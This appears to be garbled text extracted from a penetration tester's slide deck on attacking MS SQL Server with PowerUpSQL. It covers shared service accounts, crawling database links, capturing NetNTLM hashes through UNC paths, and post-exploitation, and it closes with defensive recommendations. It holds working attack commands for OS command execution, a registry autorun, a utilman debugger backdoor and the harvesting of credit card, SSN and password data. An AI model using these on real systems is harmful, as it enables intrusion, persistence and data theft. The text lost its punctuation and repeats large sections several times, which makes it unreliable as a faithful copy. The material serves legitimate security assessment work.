httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
